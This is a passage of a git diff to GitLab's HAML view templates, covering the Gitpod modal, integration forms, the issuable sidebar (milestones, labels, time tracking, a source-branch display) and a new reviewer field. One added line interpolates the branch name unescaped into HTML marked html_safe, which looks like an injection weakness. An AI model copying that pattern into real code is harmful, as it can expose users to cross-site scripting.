+ %h3.page-title= _('Enable Gitpod?')
+ %button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
+ %span{ "aria-hidden": true } &times;
+ .modal-body.p-3
+ %p= (_("To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}.") % { user_prefs: link_to(_('user preferences'), profile_preferences_path(anchor: 'gitpod')) }).html_safe
+ .modal-footer
+ = link_to _('Cancel'), '#', class: "btn btn-cancel", "data-dismiss" => "modal"
+ = link_to _('Enable Gitpod'), profile_path(user: { gitpod_enabled: true}), class: 'btn btn-success', method: :put
diff --git a/app/views/shared/icons/_dev_ops_score_no_data.svg b/app/views/shared/icons/_dev_ops_report_no_data.svg
index 5de929859ae..5de929859ae 100644
--- a/app/views/shared/icons/_dev_ops_score_no_data.svg
+++ b/app/views/shared/icons/_dev_ops_report_no_data.svg
diff --git a/app/views/shared/icons/_dev_ops_score_no_index.svg b/app/views/shared/icons/_dev_ops_report_no_index.svg
index 0577efca93f..0577efca93f 100644
--- a/app/views/shared/icons/_dev_ops_score_no_index.svg
+++ b/app/views/shared/icons/_dev_ops_report_no_index.svg
diff --git a/app/views/shared/icons/_dev_ops_score_overview.svg b/app/views/shared/icons/_dev_ops_report_overview.svg
index 2f31113bad7..2f31113bad7 100644
--- a/app/views/shared/icons/_dev_ops_score_overview.svg
+++ b/app/views/shared/icons/_dev_ops_report_overview.svg
diff --git a/app/views/shared/integrations/_form.html.haml b/app/views/shared/integrations/_form.html.haml
index 5826cb280bd..11e390a47e2 100644
--- a/app/views/shared/integrations/_form.html.haml
+++ b/app/views/shared/integrations/_form.html.haml
@@ -6,10 +6,5 @@
= integration.title
.col-lg-8
- = form_for integration, as: :service, url: scoped_integration_path(integration), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'can-test' => integration.can_test?, 'test-url' => scoped_test_integration_path(integration) } } do |form|
+ = form_for integration, as: :service, url: scoped_integration_path(integration), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => scoped_test_integration_path(integration) } } do |form|
= render 'shared/service_settings', form: form, integration: integration
-
- - if integration.editable?
- .footer-block.row-content-block
- = service_save_button
- = link_to _('Cancel'), scoped_integration_path(integration), class: 'btn btn-cancel'
diff --git a/app/views/shared/integrations/_index.html.haml b/app/views/shared/integrations/_index.html.haml
index 2dbd612ea38..2f299ad5c89 100644
--- a/app/views/shared/integrations/_index.html.haml
+++ b/app/views/shared/integrations/_index.html.haml
@@ -3,7 +3,7 @@
%col
%col
%col.d-none.d-sm-table-column
- %col{ width: 130 }
+ %col{ width: 135 }
%thead{ role: 'rowgroup' }
%tr{ role: 'row' }
%th{ role: 'columnheader', scope: 'col', 'aria-colindex': 1 }
diff --git a/app/views/shared/issuable/_bulk_update_sidebar.html.haml b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
index 0c15d20bfe0..09abe9e89c4 100644
--- a/app/views/shared/issuable/_bulk_update_sidebar.html.haml
+++ b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
@@ -40,7 +40,7 @@
.title
= _('Milestone')
.filter-item
- = dropdown_tag(_("Select milestone"), options: { title: _("Assign milestone"), toggle_class: "js-milestone-select js-extra-options js-filter-submit js-filter-bulk-update", filter: true, dropdown_class: "dropdown-menu-selectable dropdown-menu-milestone", placeholder: _("Search milestones"), data: { show_no: true, field_name: "update[milestone_id]", project_id: @project.id, milestones: project_milestones_path(@project, :json), use_id: true, default_label: _("Milestone") } })
+ = dropdown_tag(_("Select milestone"), options: { title: _("Assign milestone"), toggle_class: "js-milestone-select js-extra-options js-filter-submit js-filter-bulk-update", filter: true, dropdown_class: "dropdown-menu-selectable dropdown-menu-milestone", placeholder: _("Search milestones"), data: { show_no: true, field_name: "update[milestone_id]", project_id: @project.id, use_id: true, default_label: _("Milestone") } })
.block
.title
= _('Labels')
diff --git a/app/views/shared/issuable/_close_reopen_report_toggle.html.haml b/app/views/shared/issuable/_close_reopen_report_toggle.html.haml
index 3fc6a3b545b..4c7aee09406 100644
--- a/app/views/shared/issuable/_close_reopen_report_toggle.html.haml
+++ b/app/views/shared/issuable/_close_reopen_report_toggle.html.haml
@@ -9,7 +9,7 @@
- add_blocked_class = !issuable.closed? && warn_before_close
.float-left.btn-group.gl-ml-3.issuable-close-dropdown.droplab-dropdown.js-issuable-close-dropdown
- %button{ class: "#{button_class} btn-#{button_action} #{(add_blocked_class ? 'btn-issue-blocked' : '')}", data: { qa_selector: 'close_issue_button', endpoint: close_reopen_issuable_path(issuable) } }
+ %button{ class: "#{button_class} btn-#{button_action} #{(add_blocked_class ? 'btn-issue-blocked' : '')}", data: { testid: 'close-issue-button', qa_selector: 'close_issue_button', endpoint: close_reopen_issuable_path(issuable) } }
#{display_button_action} #{display_issuable_type}
= button_tag type: 'button', class: "#{toggle_class} btn-#{button_action}-color",
@@ -39,10 +39,8 @@
%li.divider.droplab-item-ignore
- %li.report-item{ data: { text: _('Report abuse'), url: new_abuse_report_path(user_id: issuable.author.id, ref_url: issuable_url(issuable)),
- button_class: "#{button_class} btn-close-color", toggle_class: "#{toggle_class} btn-close-color", method: '' } }
- %button.btn.btn-transparent
- = icon('check', class: 'icon')
+ %li.report-item{ data: { text: _('Report abuse'), button_class: "#{button_class} btn-close-color", toggle_class: "#{toggle_class} btn-close-color", method: '' } }
+ %a.report-abuse-link{ :href => new_abuse_report_path(user_id: issuable.author.id, ref_url: issuable_url(issuable)) }
.description
%strong.title= _('Report abuse')
%p.text
diff --git a/app/views/shared/issuable/_form.html.haml b/app/views/shared/issuable/_form.html.haml
index 86cd2923fac..728b527f499 100644
--- a/app/views/shared/issuable/_form.html.haml
+++ b/app/views/shared/issuable/_form.html.haml
@@ -6,7 +6,7 @@
= form_errors(issuable)
- if @conflict
- .alert.alert-danger
+ .gl-alert.gl-alert-danger.gl-mb-5
Someone edited the #{issuable.class.model_name.human.downcase} the same time you did.
Please check out
= link_to "the #{issuable.class.model_name.human.downcase}", polymorphic_path([@project, issuable]), target: "_blank", rel: 'noopener noreferrer'
@@ -20,7 +20,10 @@
= render 'shared/issuable/form/title', issuable: issuable, form: form, has_wip_commits: commits && commits.detect(&:work_in_progress?)
#js-suggestions{ data: { project_path: @project.full_path } }
-= render 'shared/form_elements/apply_template_warning'
+= render 'shared/form_elements/apply_template_warning', issuable: issuable
+
+= render 'shared/issuable/form/type_selector', issuable: issuable, form: form
+
= render 'shared/form_elements/description', model: issuable, form: form, project: project
- if issuable.respond_to?(:confidential)
@@ -42,7 +45,7 @@
- if @merge_request_to_resolve_discussions_of
.form-group.row
.col-sm-10.offset-sm-2
- = icon('info-circle')
+ = sprite_icon('information-o')
- if @merge_request_to_resolve_discussions_of.discussions_can_be_resolved_by?(current_user)
= hidden_field_tag 'merge_request_to_resolve_discussions_of', @merge_request_to_resolve_discussions_of.iid
- if @discussion_to_resolve
diff --git a/app/views/shared/issuable/_milestone_dropdown.html.haml b/app/views/shared/issuable/_milestone_dropdown.html.haml
index c2da363b8c6..f58156b7c08 100644
--- a/app/views/shared/issuable/_milestone_dropdown.html.haml
+++ b/app/views/shared/issuable/_milestone_dropdown.html.haml
@@ -8,7 +8,7 @@
- if selected.present? || params[:milestone_title].present?
= hidden_field_tag(name, name == :milestone_title ? selected_text : selected.id)
= dropdown_tag(milestone_dropdown_label(selected_text), options: { title: dropdown_title, toggle_class: "qa-issuable-milestone-dropdown js-milestone-select js-filter-submit #{extra_class}", filter: true, dropdown_class: "qa-issuable-dropdown-menu-milestone dropdown-menu-selectable dropdown-menu-milestone",
- placeholder: "Search milestones", footer_content: project.present?, data: { show_no: true, show_menu_above: show_menu_above, show_any: show_any, show_upcoming: show_upcoming, show_started: show_started, field_name: name, selected: selected_text, project_id: project.try(:id), milestones: milestones_filter_dropdown_path, default_label: "Milestone" } }) do
+ placeholder: "Search milestones", footer_content: project.present?, data: { show_no: true, show_menu_above: show_menu_above, show_any: show_any, show_upcoming: show_upcoming, show_started: show_started, field_name: name, selected: selected_text, project_id: project.try(:id), default_label: "Milestone" } }) do
- if project
%ul.dropdown-footer-list
- if can? current_user, :admin_milestone, project
diff --git a/app/views/shared/issuable/_search_bar.html.haml b/app/views/shared/issuable/_search_bar.html.haml
index 3f3b9146e71..cd7d792738d 100644
--- a/app/views/shared/issuable/_search_bar.html.haml
+++ b/app/views/shared/issuable/_search_bar.html.haml
@@ -165,7 +165,7 @@
= render_if_exists 'shared/issuable/filter_epic', type: type
%button.clear-search.hidden{ type: 'button' }
- = icon('times')
+ = sprite_icon('close', size: 16, css_class: 'clear-search-icon')
.filter-dropdown-container.d-flex.flex-column.flex-md-row
- if type == :boards
#js-board-labels-toggle
diff --git a/app/views/shared/issuable/_sidebar.html.haml b/app/views/shared/issuable/_sidebar.html.haml
index 6f31d7290b7..620e9b5ea31 100644
--- a/app/views/shared/issuable/_sidebar.html.haml
+++ b/app/views/shared/issuable/_sidebar.html.haml
@@ -4,6 +4,7 @@
- issuable_type = issuable_sidebar[:type]
- signed_in = !!issuable_sidebar.dig(:current_user, :id)
- can_edit_issuable = issuable_sidebar.dig(:current_user, :can_edit)
+- add_page_startup_api_call "#{issuable_sidebar[:issuable_json_path]}?serializer=sidebar_extras"
- if Feature.enabled?(:vue_issuable_sidebar, @project.group)
%aside#js-vue-issuable-sidebar{ data: { signed_in: signed_in,
@@ -29,47 +30,50 @@
= render_if_exists 'shared/issuable/sidebar_item_epic', issuable_sidebar: issuable_sidebar
- - milestone = issuable_sidebar[:milestone] || {}
- .block.milestone{ data: { qa_selector: 'milestone_block' } }
- .sidebar-collapsed-icon.has-tooltip{ title: sidebar_milestone_tooltip_label(milestone), data: { container: 'body', html: 'true', placement: 'left', boundary: 'viewport' } }
- = sprite_icon('clock')
- %span.milestone-title.collapse-truncated-title
+ - if issuable_sidebar[:supports_milestone]
+ - milestone = issuable_sidebar[:milestone] || {}
+ .block.milestone{ data: { qa_selector: 'milestone_block' } }
+ .sidebar-collapsed-icon.has-tooltip{ title: sidebar_milestone_tooltip_label(milestone), data: { container: 'body', html: 'true', placement: 'left', boundary: 'viewport' } }
+ = sprite_icon('clock')
+ %span.milestone-title.collapse-truncated-title
+ - if milestone.present?
+ = milestone[:title]
+ - else
+ = _('None')
+ .title.hide-collapsed
+ = _('Milestone')
+ = loading_icon(css_class: 'gl-vertical-align-text-bottom hidden block-loading')
+ - if can_edit_issuable
+ = link_to _('Edit'), '#', class: 'js-sidebar-dropdown-toggle edit-link float-right', data: { qa_selector: "edit_milestone_link", track_label: "right_sidebar", track_property: "milestone", track_event: "click_edit_button", track_value: "" }
+ .value.hide-collapsed
- if milestone.present?
- = milestone[:title]
+ - milestone_title = milestone[:expired] ? _("%{milestone_name} (Past due)").html_safe % { milestone_name: milestone[:title] } : milestone[:title]
+ = link_to milestone_title, milestone[:web_url], class: "bold has-tooltip", title: sidebar_milestone_remaining_days(milestone), data: { container: "body", html: 'true', boundary: 'viewport', qa_selector: 'milestone_link', qa_title: milestone[:title] }
- else
- = _('None')
- .title.hide-collapsed
- = _('Milestone')
- = icon('spinner spin', class: 'hidden block-loading', 'aria-hidden': 'true')
- - if can_edit_issuable
- = link_to _('Edit'), '#', class: 'js-sidebar-dropdown-toggle edit-link float-right', data: { qa_selector: "edit_milestone_link", track_label: "right_sidebar", track_property: "milestone", track_event: "click_edit_button", track_value: "" }
- .value.hide-collapsed
- - if milestone.present?
- = link_to milestone[:title], milestone[:web_url], class: "bold has-tooltip", title: sidebar_milestone_remaining_days(milestone), data: { container: "body", html: 'true', boundary: 'viewport', qa_selector: 'milestone_link', qa_title: milestone[:title] }
- - else
- %span.no-value
- = _('None')
-
- .selectbox.hide-collapsed
- = f.hidden_field 'milestone_id', value: milestone[:id], id: nil
- = dropdown_tag('Milestone', options: { title: _('Assign milestone'), toggle_class: 'js-milestone-select js-extra-options', filter: true, dropdown_class: 'dropdown-menu-selectable', placeholder: _('Search milestones'), data: { show_no: true, field_name: "#{issuable_type}[milestone_id]", project_id: issuable_sidebar[:project_id], issuable_id: issuable_sidebar[:id], milestones: issuable_sidebar[:project_milestones_path], ability_name: issuable_type, issue_update: issuable_sidebar[:issuable_json_path], use_id: true, default_no: true, selected: milestone[:title], null_default: true, display: 'static' }})
- - if @project.group.present?
- = render_if_exists 'shared/issuable/iteration_select', { can_edit: can_edit_issuable, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type }
- #issuable-time-tracker.block
- // Fallback while content is loading
- .title.hide-collapsed
- = _('Time tracking')
- = icon('spinner spin', 'aria-hidden': 'true')
-
+ %span.no-value
+ = _('None')
+
+ .selectbox.hide-collapsed
+ = f.hidden_field 'milestone_id', value: milestone[:id], id: nil
+ = dropdown_tag('Milestone', options: { title: _('Assign milestone'), toggle_class: 'js-milestone-select js-extra-options', filter: true, dropdown_class: 'dropdown-menu-selectable', placeholder: _('Search milestones'), data: { show_no: true, field_name: "#{issuable_type}[milestone_id]", project_id: issuable_sidebar[:project_id], issuable_id: issuable_sidebar[:id], ability_name: issuable_type, issue_update: issuable_sidebar[:issuable_json_path], use_id: true, default_no: true, selected: milestone[:title], null_default: true, display: 'static' }})
+ - if @project.group.present?
+ = render_if_exists 'shared/issuable/iteration_select', { can_edit: can_edit_issuable, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type }
+
+ - if issuable_sidebar[:supports_time_tracking]
+ #issuable-time-tracker.block
+ // Fallback while content is loading
+ .title.hide-collapsed
+ = _('Time tracking')
+ = loading_icon
- if issuable_sidebar.has_key?(:due_date)
.block.due_date
.sidebar-collapsed-icon.has-tooltip{ data: { placement: 'left', container: 'body', html: 'true', boundary: 'viewport' }, title: sidebar_due_date_tooltip_label(issuable_sidebar[:due_date]) }
- = icon('calendar', 'aria-hidden': 'true')
+ = sprite_icon('calendar')
%span.js-due-date-sidebar-value
= issuable_sidebar[:due_date].try(:to_s, :medium) || _('None')
.title.hide-collapsed
= _('Due date')
- = icon('spinner spin', class: 'hidden block-loading', 'aria-hidden': 'true')
+ = loading_icon(css_class: 'gl-vertical-align-text-bottom hidden block-loading')
- if can_edit_issuable
= link_to _('Edit'), '#', class: 'js-sidebar-dropdown-toggle edit-link float-right', data: { track_label: "right_sidebar", track_property: "due_date", track_event: "click_edit_button", track_value: "" }
.value.hide-collapsed
@@ -97,48 +101,63 @@
= dropdown_content do
.js-due-date-calendar
- - selected_labels = issuable_sidebar[:labels]
- .block.labels
- .sidebar-collapsed-icon.js-sidebar-labels-tooltip{ title: issuable_labels_tooltip(selected_labels), data: { placement: "left", container: "body", boundary: 'viewport' } }
- = icon('tags', 'aria-hidden': 'true')
- %span
- = selected_labels.size
- .title.hide-collapsed
- = _('Labels')
- = icon('spinner spin', class: 'hidden block-loading', 'aria-hidden': 'true')
- - if can_edit_issuable
- = link_to _('Edit'), '#', class: 'js-sidebar-dropdown-toggle edit-link float-right', data: { qa_selector: "edit_labels_link", track_label: "right_sidebar", track_property: "labels", track_event: "click_edit_button", track_value: "" }
- .value.issuable-show-labels.dont-hide.hide-collapsed{ class: ("has-labels" if selected_labels.any?), data: { qa_selector: 'labels_block' } }
- - if selected_labels.any?
- - selected_labels.each do |label_hash|
- = render_label(label_from_hash(label_hash).present(issuable_subject: nil), link: sidebar_label_filter_path(issuable_sidebar[:project_issuables_path], label_hash[:title]), dataset: { qa_selector: 'label', qa_label_name: label_hash[:title] })
- - else
- %span.no-value
- = _('None')
- .selectbox.hide-collapsed
- - selected_labels.each do |label|
- = hidden_field_tag "#{issuable_type}[label_names][]", label[:id], id: nil
- .dropdown
- %button.dropdown-menu-toggle.js-label-select.js-multiselect.js-label-sidebar-dropdown{ type: "button", data: sidebar_label_dropdown_data(issuable_type, issuable_sidebar) }
- %span.dropdown-toggle-text{ class: ("is-default" if selected_labels.empty?) }
- = multi_label_name(selected_labels, "Labels")
- = icon('chevron-down', 'aria-hidden': 'true')
- .dropdown-menu.dropdown-select.dropdown-menu-paging.qa-dropdown-menu-labels.dropdown-menu-labels.dropdown-menu-selectable.dropdown-extended-height
- = render partial: "shared/issuable/label_page_default"
- - if issuable_sidebar.dig(:current_user, :can_admin_label)
- = render partial: "shared/issuable/label_page_create"
+
+ - if Feature.enabled?(:vue_sidebar_labels, @project)
+ .js-sidebar-labels{ data: { allow_label_create: issuable_sidebar.dig(:current_user, :can_admin_label).to_s,
+ allow_scoped_labels: issuable_sidebar[:scoped_labels_available].to_s,
+ can_edit: can_edit_issuable.to_s,
+ iid: issuable_sidebar[:iid],
+ issuable_type: issuable_type,
+ labels_fetch_path: issuable_sidebar[:project_labels_path],
+ labels_manage_path: project_labels_path(@project),
+ labels_update_path: issuable_sidebar[:issuable_json_path],
+ project_issues_path: issuable_sidebar[:project_issuables_path],
+ project_path: @project.full_path,
+ selected_labels: issuable_sidebar[:labels].to_json } }
+ - else
+ - selected_labels = issuable_sidebar[:labels]
+ .block.labels
+ .sidebar-collapsed-icon.js-sidebar-labels-tooltip{ title: issuable_labels_tooltip(selected_labels), data: { placement: "left", container: "body", boundary: 'viewport' } }
+ = sprite_icon('labels')
+ %span
+ = selected_labels.size
+ .title.hide-collapsed
+ = _('Labels')
+ = loading_icon(css_class: 'gl-vertical-align-text-bottom hidden block-loading')
+ - if can_edit_issuable
+ = link_to _('Edit'), '#', class: 'js-sidebar-dropdown-toggle edit-link float-right', data: { qa_selector: "edit_labels_link", track_label: "right_sidebar", track_property: "labels", track_event: "click_edit_button", track_value: "" }
+ .value.issuable-show-labels.dont-hide.hide-collapsed{ class: ("has-labels" if selected_labels.any?), data: { qa_selector: 'labels_block' } }
+ - if selected_labels.any?
+ - selected_labels.each do |label_hash|
+ = render_label(label_from_hash(label_hash).present(issuable_subject: nil), link: sidebar_label_filter_path(issuable_sidebar[:project_issuables_path], label_hash[:title]), dataset: { qa_selector: 'label', qa_label_name: label_hash[:title] })
+ - else
+ %span.no-value
+ = _('None')
+ .selectbox.hide-collapsed
+ - selected_labels.each do |label|
+ = hidden_field_tag "#{issuable_type}[label_names][]", label[:id], id: nil
+ .dropdown
+ %button.dropdown-menu-toggle.js-label-select.js-multiselect.js-label-sidebar-dropdown{ type: "button", data: sidebar_label_dropdown_data(issuable_type, issuable_sidebar) }
+ %span.dropdown-toggle-text{ class: ("is-default" if selected_labels.empty?) }
+ = multi_label_name(selected_labels, "Labels")
+ = icon('chevron-down', 'aria-hidden': 'true')
+ .dropdown-menu.dropdown-select.dropdown-menu-paging.qa-dropdown-menu-labels.dropdown-menu-labels.dropdown-menu-selectable.dropdown-extended-height
+ = render partial: "shared/issuable/label_page_default"
+ - if issuable_sidebar.dig(:current_user, :can_admin_label)
+ = render partial: "shared/issuable/label_page_create"
= render_if_exists 'shared/issuable/sidebar_weight', issuable_sidebar: issuable_sidebar
+ - if issuable_sidebar[:supports_severity]
+ #js-severity
+
- if issuable_sidebar.dig(:features_available, :health_status)
.js-sidebar-status-entry-point
- if issuable_sidebar.has_key?(:confidential)
- -# haml-lint:disable InlineJavaScript
%script#js-confidential-issue-data{ type: "application/json" }= { is_confidential: issuable_sidebar[:confidential], is_editable: can_edit_issuable }.to_json.html_safe
#js-confidential-entry-point
- -# haml-lint:disable InlineJavaScript
%script#js-lock-issue-data{ type: "application/json" }= { is_locked: !!issuable_sidebar[:discussion_locked], is_editable: can_edit_issuable }.to_json.html_safe
#js-lock-entry-point
@@ -148,15 +167,24 @@
.js-sidebar-subscriptions-entry-point
- project_ref = issuable_sidebar[:reference]
- .block.project-reference
- .sidebar-collapsed-icon.dont-change-state
- = clipboard_button(text: project_ref, title: _('Copy reference'), placement: "left", boundary: 'viewport')
- .cross-project-reference.hide-collapsed
- %span
- = _('Reference:')
- %cite{ title: project_ref }
- = project_ref
- = clipboard_button(text: project_ref, title: _('Copy reference'), placement: "left", boundary: 'viewport')
+ .block.with-sub-blocks
+ .project-reference.sub-block
+ .sidebar-collapsed-icon.dont-change-state
+ = clipboard_button(text: project_ref, title: _('Copy reference'), placement: "left", boundary: 'viewport')
+ .cross-project-reference.hide-collapsed
+ %span
+ = _('Reference:')
+ %cite{ title: project_ref }
+ = project_ref
+ = clipboard_button(text: project_ref, title: _('Copy reference'), placement: "left", boundary: 'viewport')
+ - if issuable_type == 'merge_request'
+ .sidebar-source-branch.sub-block
+ .sidebar-collapsed-icon.dont-change-state
+ = clipboard_button(text: source_branch, title: _('Copy branch name'), placement: "left", boundary: 'viewport')
+ .sidebar-mr-source-branch.hide-collapsed
+ %span
+ = _('Source branch: %{source_branch_open}%{source_branch}%{source_branch_close}').html_safe % { source_branch_open: "<cite class='ref-name' title='#{source_branch}'>".html_safe, source_branch_close: "</cite>".html_safe, source_branch: source_branch }
+ = clipboard_button(text: source_branch, title: _('Copy branch name'), placement: "left", boundary: 'viewport')
- if issuable_sidebar.dig(:current_user, :can_move)
.block.js-sidebar-move-issue-block
@@ -174,7 +202,7 @@
= dropdown_footer add_content_class: true do
%button.btn.btn-success.sidebar-move-issue-confirmation-button.js-move-issue-confirmation-button{ type: 'button', disabled: true }
= _('Move')
- = icon('spinner spin', class: 'sidebar-move-issue-confirmation-loading-icon')
+ = loading_icon(css_class: 'gl-vertical-align-text-bottom sidebar-move-issue-confirmation-loading-icon')
-# haml-lint:disable InlineJavaScript
%script.js-sidebar-options{ type: "application/json" }= issuable_sidebar_options(issuable_sidebar).to_json.html_safe
diff --git a/app/views/shared/issuable/_sidebar_assignees.html.haml b/app/views/shared/issuable/_sidebar_assignees.html.haml
index cf239a5d04c..175713751ef 100644
--- a/app/views/shared/issuable/_sidebar_assignees.html.haml
+++ b/app/views/shared/issuable/_sidebar_assignees.html.haml
@@ -4,7 +4,7 @@
#js-vue-sidebar-assignees{ data: { field: issuable_type, signed_in: signed_in } }
.title.hide-collapsed
= _('Assignee')
- .spinner.spinner-sm.align-bottom
+ = loading_icon(css_class: 'gl-vertical-align-text-bottom')
.selectbox.hide-collapsed
- if assignees.none?
diff --git a/app/views/shared/issuable/_sidebar_todo.html.haml b/app/views/shared/issuable/_sidebar_todo.html.haml
index de4df016cfb..7b5926fc186 100644
--- a/app/views/shared/issuable/_sidebar_todo.html.haml
+++ b/app/views/shared/issuable/_sidebar_todo.html.haml
@@ -12,4 +12,4 @@
data: todo_button_data }
%span.issuable-todo-inner.js-issuable-todo-inner<
= is_collapsed ? button_icon : button_title
- = icon('spin spinner', 'aria-hidden': 'true')
+ = loading_icon
diff --git a/app/views/shared/issuable/form/_branch_chooser.html.haml b/app/views/shared/issuable/form/_branch_chooser.html.haml
index 30a1f0febc3..94fa43746e2 100644
--- a/app/views/shared/issuable/form/_branch_chooser.html.haml
+++ b/app/views/shared/issuable/form/_branch_chooser.html.haml
@@ -6,7 +6,7 @@
- source_title, target_title = format_mr_branch_names(@merge_request)
-.form-group.row.d-flex.gl-pl-3-deprecated-no-really-do-not-use-me.gl-pr-3-deprecated-no-really-do-not-use-me.branch-selector
+.form-group.row.d-flex.gl-px-5.branch-selector
.align-self-center
%span
= html_escape(_('From %{code_open}%{source_title}%{code_close} into')) % { source_title: source_title, code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
diff --git a/app/views/shared/issuable/form/_issue_assignee.html.haml b/app/views/shared/issuable/form/_issue_assignee.html.haml
deleted file mode 100644
index 0d13fccaf3e..00000000000
--- a/app/views/shared/issuable/form/_issue_assignee.html.haml
+++ /dev/null
@@ -1,31 +0,0 @@
-- issue = issuable
-- assignees = issue.assignees
-.block.assignee
- .sidebar-collapsed-icon.sidebar-collapsed-user{ data: { toggle: "tooltip", placement: "left", container: "body" }, title: (issuable.assignee_list) }
- - if assignees.any?
- - assignees.each do |assignee|
- = link_to_member(@project, assignee, size: 24)
- - else
- = icon('user', 'aria-hidden': 'true')
- .title.hide-collapsed
- Assignee
- = icon('spinner spin', class: 'hidden block-loading', 'aria-hidden': 'true')
- - if can_edit_issuable
- = link_to 'Edit', '#', class: 'js-sidebar-dropdown-toggle edit-link float-right'
- .value.hide-collapsed
- - if assignees.any?
- - assignees.each do |assignee|
- = link_to_member(@project, assignee, size: 32, extra_class: 'bold') do
- %span.username
- = assignee.to_reference
- - else
- %span.assign-yourself.no-value
- No assignee
- - if can_edit_issuable
- \-
- %a.js-assign-yourself{ href: '#' }
- assign yourself
-
- .selectbox.hide-collapsed
- = f.hidden_field 'assignee_ids', value: issuable.assignee_ids, id: 'issue_assignee_ids'
- = dropdown_tag('Select assignee', options: { toggle_class: 'js-user-search js-author-search', title: 'Assign to', filter: true, dropdown_class: 'dropdown-menu-user dropdown-menu-selectable dropdown-menu-author', placeholder: 'Search users', data: { first_user: (current_user.username if current_user), current_user: true, project_id: (@project.id if @project), author_id: issuable.author_id, field_name: "#{issuable.to_ability_name}[assignee_id]", issue_update: issuable_json_path(issuable), ability_name: issuable.to_ability_name, null_user: true } })
diff --git a/app/views/shared/issuable/form/_merge_params.html.haml b/app/views/shared/issuable/form/_merge_params.html.haml
index 5c5c8c816d3..e29627304b4 100644
--- a/app/views/shared/issuable/form/_merge_params.html.haml
+++ b/app/views/shared/issuable/form/_merge_params.html.haml
@@ -25,7 +25,7 @@
= check_box_tag 'merge_request[squash]', '1', issuable_squash_option?(issuable, project), class: 'form-check-input'
= label_tag 'merge_request[squash]', class: 'form-check-label' do
Squash commits when merge request is accepted.
- = link_to icon('question-circle'), help_page_path('user/project/merge_requests/squash_and_merge'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/project/merge_requests/squash_and_merge'), target: '_blank'
- if project.squash_always?
.gl-text-gray-400
= _('Required in this project.')
diff --git a/app/views/shared/issuable/form/_metadata.html.haml b/app/views/shared/issuable/form/_metadata.html.haml
index 1389bc2ab4d..459eb112e4f 100644
--- a/app/views/shared/issuable/form/_metadata.html.haml
+++ b/app/views/shared/issuable/form/_metadata.html.haml
@@ -12,13 +12,19 @@
.form-group.row.merge-request-assignee
= render "shared/issuable/form/metadata_issuable_assignee", issuable: issuable, form: form, has_due_date: has_due_date
+ - if issuable.allows_reviewers?
+ .form-group.row.merge-request-reviewer
+ = render "shared/issuable/form/metadata_issuable_reviewer", issuable: issuable, form: form, has_due_date: has_due_date
+
= render_if_exists "shared/issuable/form/epic", issuable: issuable, form: form, project: project
- .form-group.row.issue-milestone
- = form.label :milestone_id, "Milestone", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
- .col-sm-10{ class: ("col-md-8" if has_due_date) }
- .issuable-form-select-holder
- = render "shared/issuable/milestone_dropdown", selected: issuable.milestone, name: "#{issuable.class.model_name.param_key}[milestone_id]", show_any: false, show_upcoming: false, show_started: false, extra_class: "qa-issuable-milestone-dropdown js-issuable-form-dropdown js-dropdown-keep-input", dropdown_title: "Select milestone"
+ - if issuable.supports_milestone?
+ .form-group.row.issue-milestone
+ = form.label :milestone_id, "Milestone", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
+ .col-sm-10{ class: ("col-md-8" if has_due_date) }
+ .issuable-form-select-holder
+ = render "shared/issuable/milestone_dropdown", selected: issuable.milestone, name: "#{issuable.class.model_name.param_key}[milestone_id]", show_any: false, show_upcoming: false, show_started: false, extra_class: "qa-issuable-milestone-dropdown js-issuable-form-dropdown js-dropdown-keep-input", dropdown_title: "Select milestone"
+
.form-group.row
= form.label :label_ids, "Labels", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
= form.hidden_field :label_ids, multiple: true, value: ''
@@ -28,7 +34,7 @@
= render_if_exists "shared/issuable/form/merge_request_blocks", issuable: issuable, form: form
- - if has_due_date || issuable.supports_weight?
+ - if has_due_date
.col-lg-6
= render_if_exists "shared/issuable/form/weight", issuable: issuable, form: form
.form-group.row
diff --git a/app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml b/app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml
new file mode 100644
index 00000000000..a8b033bba36
--- /dev/null
+++ b/app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml
@@ -0,0 +1,10 @@
+= form.label :reviewer_id, "Reviewer", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
+.col-sm-10{ class: ("col-md-8" if has_due_date) }
+ .issuable-form-select-holder.selectbox
+ - issuable.reviewers.each do |reviewer|
+ = hidden_field_tag "#{issuable.to_ability_name}[reviewer_ids][]", reviewer.id, id: nil, data: { meta: reviewer.name, avatar_url: reviewer.avatar_url, name: reviewer.name, username: reviewer.username }
+
+ - if issuable.reviewers.empty?
+ = hidden_field_tag "#{issuable.to_ability_name}[reviewer_ids][]", 0, id: nil, data: { meta: '' }
+
+ = dropdown_tag(users_dropdown_label(issuable.reviewers), options: reviewers_dropdown_options(issuable.to_ability_name))
diff --git a/app/views/shared/issuable/form/_metadata_merge_request_assignee.html.haml b/app/views/shared/issuable/form/_metadata_merge_request_assignee.html.haml
deleted file mode 100644
index 60c34094108..00000000000
--- a/app/views/shared/issuable/form/_metadata_merge_request_assignee.html.haml
+++ /dev/null
@@ -1,8 +0,0 @@
-= form.label :assignee_id, "Assignee", class: "col-form-label #{has_due_date ? "col-lg-4" : "col-sm-2"}"
-.col-sm-10{ class: ("col-lg-8" if has_due_date) }
- .issuable-form-select-holder
- = form.hidden_field :assignee_id
-
- = dropdown_tag(user_dropdown_label(issuable.assignee_id, "Assignee"), options: { toggle_class: "js-dropdown-keep-input js-user-search js-issuable-form-dropdown js-assignee-search", title: "Select assignee", filter: true, dropdown_class: "dropdown-menu-user dropdown-menu-selectable dropdown-menu-assignee js-filter-submit",
